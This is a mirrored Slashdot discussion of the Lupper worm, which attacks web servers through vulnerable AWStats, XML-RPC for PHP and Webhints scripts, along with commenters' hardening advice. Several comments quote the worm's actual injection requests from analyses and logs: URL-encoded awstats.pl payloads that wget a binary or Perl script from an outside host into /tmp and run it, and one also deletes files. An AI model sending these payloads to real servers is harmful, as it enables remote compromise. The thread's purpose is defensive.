Slashdot Mirror


Linux Lupper.Worm In the WIld

jurt1235 writes "McAfee reports that a Linux worm has been found in the wild. The Linux/Lupper.worm is a derivative of the Linux/Slapper worm which also exists for BSD, just to be crossplatform. From the McAfee description: The worm blindly attacks web servers by sending malicious http requests on port 80. If the target server is running one of the vulnerable scripts at specific URLs and is configured to permit external shell commands and remote file download in the PHP/CGI environment, a copy of the worm could be downloaded and executed."

46 of 363 comments (clear)

  1. CONTINUE: by xtracto · · Score: 5, Funny

    Next, is a collection of messages telling that it is the fault of the system andministrators and not a problem of the Linux Distributions.

    p.s. BURN KARMA BURN!

    --
    Ubuntu is an African word meaning 'I can't configure Debian'
    1. Re:CONTINUE: by freeweed · · Score: 4, Insightful

      Well, actually, yes. Seeing as no Linux distibution installs and runs a webserver, plus one of the affected PHP utilities, by default, this one is squarely on the administrator's shoulders.

      Understanding just WHAT a vulnerability affects is the key to knowing who's responsible.

      --
      Endless arguments over trivial contradictions in books written by ignorant savages to explain thunder in the dark.
  2. Remarkably Useless page. by Short+Circuit · · Score: 5, Interesting
    First, what vulnerability does it exploit? I wasn't able to find any decent info on Linux/Slapper, and that's all it references.

    Second, how do you remove it? Quoth the page:
    Removal Instructions
    AVERT recommends to always use latest DATs and engine . This threat will be cleaned if you have this combination.

    Additional Windows ME/XP removal considerations

    1. Re:Remarkably Useless page. by TheSpoom · · Score: 3, Informative

      It doesn't say what software it tries to exploit but it does say which scripts. I'd post them here but it would be a waste of space; they're about halfway down on the McAfee page.

      I'd say if your website has one of those scripts I'd look into updating or removing whatever software it is that has the vulnerability.

      --
      It's better to vote for what you want and not get it than to vote for what you don't want and get it.
      - E. Debs
    2. Re:Remarkably Useless page. by gowen · · Score: 5, Informative
      According to ZDNet/Symantec
      "The worm exploits three vulnerabilities to propagate: the XML-RPC for PHP Remote Code Injection vulnerability; AWStats Rawlog Plugin Logfile Parameter Input Validation vulnerability; and Darryl Burgdorf's Webhints Remote Command Execution Vulnerability, according to Symantec's online description of the worm.

      The XML-RPC flaw affects blogging, wiki and content management software and was discovered earlier this year. Patches are available for most systems. AWStats is a log analyzer tool; a fix for the flaw has been available since February. Darryl Burgdorf's Webhints is a hint generation script; no fixes are available for the script, according to Symantec's DeepSight Alert Services."
      --
      Athletic Scholarships to universities make as much sense as academic scholarships to sports teams.
    3. Re:Remarkably Useless page. by tomhudson · · Score: 4, Insightful

      More alarmist shit (and old news at tht - The Reg reported this last week).

      Some php scripts that have as much to do with linux as a vulnerability in, say, photoshop, has to do with xp.

      The anti-virus writers are publicity whores looking to sensationalize their product, because in a few years nobody will be using them (Windows users will be stuck with the "free" verison from Microsoft, and BSD/OSX/Linux users don't need an anti-virus.

    4. Re:Remarkably Useless page. by harlows_monkeys · · Score: 4, Informative
      More alarmist shit (and old news at tht - The Reg reported this last week)

      My web server logs for my home machine are full of attempts to exploit these holes, coming from a large number of IP addresses.

      This indicates that this is indeed in the wild, and active, and spreading.

      Thus, it is not alarmist shit.

    5. Re:Remarkably Useless page. by tomhudson · · Score: 4, Insightful

      The key word is "attempts".

      Hey, look through your logs - you'll also see slapper in there, and code red, and all sorts of other stuff - but if it doesn't affect you, why give a shit?

      The number of affected machines is going to be VERY low. Fixes for one of the flaws have been out since February. My distro updates itself every couple of days. I'm not worried.

      Now:

      1. If you haven't updated your machine in years
      2. If you have those particular scripts installed
      3. If you allow files in /tmp to be run by processes from user "nobody"

      ... that's a LOT of ifs ...

      In other words, nothing to see here but more antivirus vendor fud.

    6. Re:Remarkably Useless page. by tomhudson · · Score: 4, Funny

      I'll tell you what, anyone wants some practice exploiting the hole, here's the IP address of a vulnerable machine to practice on: http://127.0.0.1/

      Knock yourselves out :-)

    7. Re:Remarkably Useless page. by Macrobat · · Score: 4, Funny

      You know, if you link to a porn site, you could at least warn us.

      --
      "Hardly used" will not fetch you a better price for your brain.
    8. Re:Remarkably Useless page. by budgenator · · Score: 4, Insightful

      step one go to securityfocus and update all of the applications listed on your system.
      Symptoms
      Presence of the following file:
      * /tmp/lupii
      One of the following ports are listening:
              * UDP 7111
              * UDP 7222

      so running su -c"netstat --listening --extend --program" tells you if its even running by listing what listening to any port such as UDP 7111 7222
      then it would be easy to
      su -c"kill -9 pid-of-lupii" su -c"rm /tmp/lupii" su -c"touch tmp/lupii"

      the worm appearent does this
      echo '_begin_';echo `cd /tmp;wget xx.xx.193.244/lupii;chmod +x lupii;./lupii xx.xx.193.244 `;echo '_end_';exit;/*
      so unless your server has a vulnerability that allows privailige escalation from nobody its stuck in tmp directories or possibly in your html directories.

      --
      Apocalypse Cancelled, Sorry, No Ticket Refunds
  3. PHP exploit, not directly a linux problem? by Anonymous Coward · · Score: 5, Insightful

    Seems kind of wrong to name it exclusively a linux problem.

    1. Re:PHP exploit, not directly a linux problem? by mysqlrocks · · Score: 5, Informative

      Calling it a PHP exploit would be wrong as well. It's an exploit of specific applications written in PHP (AWStats and Drupal from what I could tell).

    2. Re:PHP exploit, not directly a linux problem? by rbochan · · Score: 3, Informative

      Calling it a PHP exploit would be wrong as well. It's an exploit of specific applications written in PHP (AWStats and Drupal from what I could tell).

      According to this article, AWStats was patched back in February.

      --
      ...Rob
      The American Dream isn't an SUV and a house in the suburbs; it's Don't Tread On Me.
  4. How can we get some free press? by ivan256 · · Score: 3, Insightful

    Oh, well we've got this PHP worm... Why don't we call it a Linux worm and the press will just eat it up!

    1. Re:How can we get some free press? by jellomizer · · Score: 4, Insightful

      Because it seems to only effect Linux and BSD systems (With a different worm). Other systems running PHP are not effected. So yes it is a linux worm. Like many of the Windows worms are not Windows Worms, but IE or OutLook Worms.

      --
      If something is so important that you feel the need to post it on the internet... It probably isn't that important.
    2. Re:How can we get some free press? by sqlrob · · Score: 5, Insightful

      IE Worm = Windows worm.

      Remember, IE is integrated into the OS according to MS, therefore it is a Windows worm.

  5. if it attacks PHP cross-platform... by frankie · · Score: 4, Insightful

    ...then it's a PHP/*nix worm, not Linux specifically.

    Heck there's decent odds it could be modified to attack OSX PHP too. A shame the linked article provides ZERO information about exactly which scripts (and versions thereof) are vulnerable.

    1. Re:if it attacks PHP cross-platform... by alexhs · · Score: 3, Informative

      ...then it's a PHP/*nix worm, not Linux specifically.

      Not exactly. From what I understood, there are BSD and Linux variants : both versions are using the same PHP holes, but the binary itself must be Linux or BSD compatible.

      There's a layer available in BSD that allows to run Linux binaries natively, so Linux potentially could infect a BSD system, but it is somewhat like saying an MS-Windows virus could infect a Linux through wine.

      Oh, and while we're at it, aren't these virii more specifically Linux/i386 and BSD/i386 virii ?

      --
      I have discovered a truly marvelous proof of killer sig, which this margin is too narrow to contain.
  6. Sadly a preview of things to come because... by Assmasher · · Score: 5, Insightful

    ...Linux is more and more popular with corporations holding valuable and important data.

    Success is a double-edged sword. ;)

    --
    Loading...
  7. Complete infection by soren.harward · · Score: 5, Funny

    All sysadmins who are still running this insecure setup are advised to patch your systems immediately. Yes, all fourteen of you.

  8. Conditions for infection... by xutopia · · Score: 4, Insightful

    "If the target server is running one of the vulnerable scripts at specific URLs and is configured to permit external shell commands and remote file download in the PHP/CGI environment, a copy of the worm could be downloaded and executed." I'm thinking this is funny as hell. How many people configure apache this way?

    1. Re:Conditions for infection... by maxwell+demon · · Score: 5, Funny

      Hey, I've found a way to write a true Linux worm! It can infect all Linux computers which have a user named "wormhole" with password "unsafe", and have a suid-root copy of bash installed at /bin/rootbash which is executable by user "wormhole". Ah, and of course the user "wormhole" must be able to remote login through either rlogin or ssh with password authentication enabled. To spread, the worm also needs the file /etc/wormspreadrc, which must contain a list of other vulnerable computers, one hostname or IP number per line.

      SCNR

      --
      The Tao of math: The numbers you can count are not the real numbers.
    2. Re:Conditions for infection... by smoking2000 · · Score: 5, Informative
      The command it runs is:
      |echo;echo YYY;cd /tmp;wget 24.224.174.18/listen;chmod +x listen;./listen 216.102.212.115;echo YYY;echo|
      It is passed to awstats.pl in a request like:
      GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd% 20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bc hmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e 212%2e115;echo%20YYY;echo| HTTP/1.1
      There are also POST request to xmlrpc.php pages, like:
      POST /drupal/xmlrpc.php HTTP/1.1
      So if you have /tmp mounted noexec this should not be a problem.
    3. Re:Conditions for infection... by PatMouser · · Score: 3, Informative

      Well, as of 9:30 AM central time 24.224.174.18 isn't accepting connections, so it's either been slashdotted or taken down.

    4. Re:Conditions for infection... by 6*7 · · Score: 3, Informative

      a noexec /tmp doesn't protect from running an interpreter with the script source in /tmp. Next version should simply include '/bin/sh /tmp/listen' instead to be fully functional.

  9. Before all teh MSFT fanboys jump on this, by Anonymous Coward · · Score: 5, Funny

    Paraphrased from the virus description;

    IF you run a specific kernel version with some special module
    AND you run one of a couple specific versions of one package not installed by default
    AND you have a very "generic" config on that package
    AND you have some plugins enabled, but not configured for security
    AND you are on a world routable IP address
    AND you have some specific vulnerable scripts,

    THEN you might need to take a look at if you are at risk.

    Paraphrased from the virus description of most MSFT worms:

    IF you run an MSFT operating system
    AND you havent reformated your HDD in the lsat hour

    THEN its time to pucker up and kiss the sucker goodbye..

    -GenTimJS

  10. Too many ifs by SolitaryMan · · Score: 5, Interesting

    If the target server is running one of the vulnerable scripts at specific URLs and is configured to permit external shell commands and remote file download in the PHP/CGI environment ...

    which in practice means that your admin have died a couple of years ago but was never replaced.

    --
    May Peace Prevail On Earth
  11. Short of detail by QuaintRealist · · Score: 4, Informative

    So here is some, shamelessly cribbed from e-week. The worm actually attemts to attack three different web services:

    "The XML-RPC hole commonly exists in blogging and Wiki programs. There are now fixes available for this hole for most systems.

    AWStats is a popular, open-source log-file analyzer. Only servers which run AWStats 5.0 to 6.3 can be attacked. Versions 6.4, which came out in March, and higher are immune.

    Finally, Webhints is an older script program that's designed to set up and maintain a "Hint (Quote/Tip/Joke/Whatever) of the Day" page. Version 1.3 is vulnerable to attack. There is, at this time, no known fix for the program. "

    This still does not tell me which blogging/wiki programs are affected, only theat "most" have fixes - more info, anyone?

    --
    Using plain ol' text since 1968
  12. Does it look like this? by Mabonus · · Score: 5, Informative

    I just noticed this today, and from what I've heard here it sounds a likely candidate. IP addresses obscured for politeness.

    193.166.84 - - [04/Nov/2005:15:10:10 -0700] "GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd% 20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bc hmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193 %2e244;echo%20YYY;echo| HTTP/1.1" 404 224 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
    193.166.84 - - [04/Nov/2005:15:10:12 -0700] "GET /scgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd %20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3b chmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e19 3%2e244;echo%20YYY;echo| HTTP/1.1" 404 225 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
    193.166.84 - - [04/Nov/2005:15:10:14 -0700] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd% 20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bc hmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193 %2e244;echo%20YYY;echo| HTTP/1.1" 401 3787 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
    .
    .
    .
    193.166.84 - - [04/Nov/2005:15:10:31 -0700] "POST /xmlsrv/xmlrpc.php HTTP/1.1" 404 223 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
    193.166.84 - - [04/Nov/2005:15:10:33 -0700] "POST /blog/xmlrpc.php HTTP/1.1" 404 221 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
    193.166.84 - - [04/Nov/2005:15:10:34 -0700] "POST /drupal/xmlrpc.php HTTP/1.1" 404 223 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
    .
    .
    .
    For 60 hits.

  13. I'm not worried... by PoprocksCk · · Score: 5, Funny

    I doubt I'll have the libraries required to run this worm.

    1. Re:I'm not worried... by WinterSolstice · · Score: 3, Funny

      Ha!

      Yes, if your luck with PHP on linux is like mine, you'll have to resolve dependencies for about 15 minutes first :)

      -WS

      --
      An operating system should be like a light switch... simple, effective, easy to use, and designed for everyone.
    2. Re:I'm not worried... by _Sprocket_ · · Score: 3, Funny

      apt-get install morrisworm2

  14. Please Rate This Worm Info!! by handmedowns · · Score: 3, Interesting

    http://vil.nai.com/vil/RateThisPage.asp

    Let Mcaffe know how well they're trolling.

    --
    The road between democracy and tyranny is paved with secrecy in the name of security.
  15. Other links by AndroidCat · · Score: 4, Informative
    --
    One line blog. I hear that they're called Twitters now.
  16. Linux/BSD only by WhiteWolf666 · · Score: 3, Funny

    Currently, this worm is only compatible with Linux/BSD systems, because they are the only systems with full shell scripting capabilities.

    It is rumored that you can obtain the same level of compatibility with the Cygwin Suite, but that is not an officially supported configuration by Microsoft.

    Never fear, though, Monad will bring Lupper, and similar PHP/Shell script worms to the Windows platform for the masses!

    Seriously, though; isn't everyone fairly aware that PHP ain't that secure?

    --
    WhiteWolf666 an exBush supporter. All you new-school,compassionate,save the children Republicans can rot in hell
    1. Re:Linux/BSD only by mysqlrocks · · Score: 4, Insightful

      Seriously, though; isn't everyone fairly aware that PHP ain't that secure?

      No, PHP is secure. Some applications written in PHP are insecure. Programmers can introduce security vulnerabilities in any language. Bad programming is not language specific.

  17. Gnu! by rabel · · Score: 4, Funny

    That's Gnu/Linux worm to you, you insensitive clod!

  18. clearly a violation by FudRucker · · Score: 4, Funny

    if this worm does not include the sourcecode with every computer it infects it is violating the terms and conditions of the GNU/GPL

    --
    Politics is Treachery, Religion is Brainwashing
  19. It's not Windows by max+born · · Score: 5, Informative

    From the Security Focus article: Affected systems will need to be wiped and have the OS reinstalled, in most cases.

    Apche usually runs as user nobody with very limited privileges. I doubt you'd need to wipe and reinstall the OS. That's why lupper runs in /tmp.

  20. an excerpt from my logs by Anonymous Coward · · Score: 3, Informative

    I checked my logs and found the following:
    [06/Nov/2005:18:13:39 -0500] "GET /stats/awstats/awstats.pl?configdir=|echo%20;cd%20 /tmp;rm%20-rf%20*;killall%20-9%20perl;wget%20membe rs.lycos.co.uk/sugi/a.txt;perl%20a.txt;echo%20;rm% 20-rf%20a.txt*;echo| HTTP/1.1" 404 1030 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"

    Why not get somebody to shut down members.lycos.co.uk/sugi/a.txt??

  21. Preventative measures by Alioth · · Score: 3, Insightful

    Well, firstly, I doubt this worm will be particularly widespread - the vast majority of sites use name-based virtual hosting, and this worm just uses the IP address. Obviously some systems (with the very outdated versions of the vulnerable programs) will be vulnerable. But this isn't really the point of what I'm thinking about.

    The point is that if you run a server (of any OS) you can take preventative measures to stop the propagation of hacks/malware/trojans, even if you have users who install buggy PHP scripts. Some straightforward preventative measures are:

    1. Ensure that the 'wget' (and any other similar utilities) command is NOT available to the user which cgi/php scripts are run as. Many hackers use an initial exploit to get into the machine, then wget the script or program they really want to run (such as the good old bindshell)
    2. Mount /tmp (and anything else writeable by the script) no-exec (although there are ways around this, it will defeat many skript kiddies).
    3. Implement rate limiting on the MTA that runs on the machine. Have the MTA shut down altogether if the mail queue is gigantic. This way, if someone does get in, and tries to spam with your machine, it won't get very far. It will also give you time to investigate the problem.
    4. Use iptables! Only open ports that should be open. Also, use *egress* filtering too. If your server should not be contacting anything on port 80, say, except the Debian distro servers for apt, use iptables to stop outbound access to anything except those servers. Prevent all outbound access except where strictly needed.
    5. Treat every local root exploit as if it was a remote root exploit. If you run a web server, there is *no such thing* as a local root exploit. All it takes is a buggy PHP script, and an attacker can try and elevate their privileges through the local root exploit.

    Those 4 things will keep you safe against most of these cookie-cutter or skript kiddie attacks. But to go further:
    6. Use SElinux to only allow Apache to access what it should access and nothing else. Particularly executables. Therefore, if someone manages to successfully wget their exploit script after exploiting the buggy PHP script, they can't actually run it because SElinux will prevent it from being run.
    7. Use Xen to divide your server up. Put the web server (the most complex and most likely to be exploited) in a separate Xen-U instance to everything else. Then you can make sure that the only stuff installed on the instance is stuff strictly needed to run the web sites. You can also do much more agressive filtering with iptables - so for instance, if you put the MTA on another Xen-U, plus all the other services you need (DNS etc). you can make it so the web server needs to have no egress *at all* except via the services on the other xen-U. This makes it essentially impossible for someone to use an exploit to download and run another script on your web server - they can't even change the port number of their webserver (say, to 25) to allow them to get the file they need.

    I have had two serious attempts (i.e. NOT skript kiddies - the most recent one was a Romanian phishing group) to hack my (multi-user, shared hosting) web server in the last couple of years. They were both defeated by at least one of these techniques, and I learned from each. My web server is now divided into multiple Xen instances, and the HTTP server part has very strict egress rules.

  22. Only partially. by khasim · · Score: 3, Insightful

    Let's look at this logically.

    If the Linux distribution does not run Apache by default, it is safe.
    If Windows does not run IIS by default, it is safe.
    So far, so good.

    If the Linux distribution does not run PHP by default, it is safe.
    If Windows does not run their scripting system by default, it is safe.
    So far, so good.

    If the Linux distribution does not run those particular scripts by default, it is safe.
    If Windows does not run vulnerable scripts by default, it is safe.
    So far, so good.

    So, both Linux/Apache/PHP/scripts and Windows/IIS/scripting/scripts are as secure as each other in this particular instance.

    Both can be made vulnerable by installing systems/scripts that are not part of the default system.

    But most of the Windows compromises have not been from installing 3rd party vulnerable scripts. Historically, the compromises have come from system vulnerabilities that the admins have not patched, even when the patches are available.

    The "proof" of which has "better" "security" will be how widespread this worm is compared to slammer or code red or nimda.

    Just because this one type would require the same actions on both systems does not mean that this type can be generalized to all exploits of both systems.

  23. AWStats is a PHP application? by smartfart · · Score: 4, Informative

    Um, AWStats isn't written in PHP, but in Perl. This isn't a PHP worm, it's a CGI exploit which happens to target PHP apps, plus the occasional Perl app.

  24. You're wrong. by khasim · · Score: 4, Insightful
    It will come up because it is true.
    No. It will keep coming up because people who don't understand security will keep bringing it up.

    There is a reason that more homes are robbed than banks, even though the banks have far more money in them than the homes do.

    The banks have better security than the homes do. So, even though more people go into a bank every day than go into your home, and the bank keeps lots more money in it than you keep in your home, because of the security, the bank is far less likely to be successfully robbed than your home.
    As for the worm, I didn't say it was a flaw in Linux, I was merely pointing out that security issues that affect Linux systems will rise as the success of Linux rises.
    That's what you believe. Yet my bank example shows that popularity has nothing to do with security.
    Maybe you should mod that as 'master of the obvious', but it doesn't make it any less accurate.
    That is because your statement is as inaccurate as possible already.

    By your "logic", banks would be robbed far more often than homes or cars or people because they are more popular.

    And security is why this worm will not do much damage.
    http://securityresponse.symantec.com/avcenter/venc /data/linux.plupii.html

    Look for "Number of Infections: 0-49".

    Oooooh! Scary! All those millions of Linux sites out there and fewer than 50 have been infected! Ooooooh!

    What's that? "Number of Sites: 0-2"?

    That means that fewer than 3 sites have been infected? Out of all of the Linux installations out there?

    Yeah, "security issues" will certainly be a problem as more people use Linux. I feel really bad for those 2 sites (or less) that were hit by this. Yep. It's a real threat.
  25. Can't measure OS security by worm prevalence. by Bob.Kerns · · Score: 3, Insightful
    Re: The "proof" of which has "better" "security" will be how widespread this worm is compared to slammer or code red or nimda.

    It's not so easy to compare as that. Unless you consider an OS being widely deployed to be a security flaw -- in which case Linux is doomed to be as bad as Windows if it succeeds...

    If an OS, let's call it X, is rare, worms can't spread quickly, just because they can't find instances to spread to. The effects of this are very non-linear, with the popular OS being at a very major disadvantage.

    If X is rare, few felons will have the expertise to attack it.

    If X is rare, few felons will have the motivation to attack it.

    Conversely, if X is widespread, and hated among felons, it will be an attractive target.

    If X is commonly business-critical, a great deal of publicity comes with each attack, and felons can get glory from the press and praise from their felonious peers.

    The bottom line is that there are many factors beyond the security of an OS in how widespread a worm becomes. In addition to the issues I listed above, consider how quicly patches get pushed out, which depends both on OS support for security patch distribution and administrator attentiveness. Consider the bandwidth of the typical connection, the nature of the hole, how likely it is to be blocked by non-OS firewalls, etc. etc.

    So I'm afraid the MS vs Linux security question isn't going to be settled at all by comparing this worm's spread to any other worm, nor even by comparing any large population of worms.

    Sorry -- it would be nice if the world were so simple.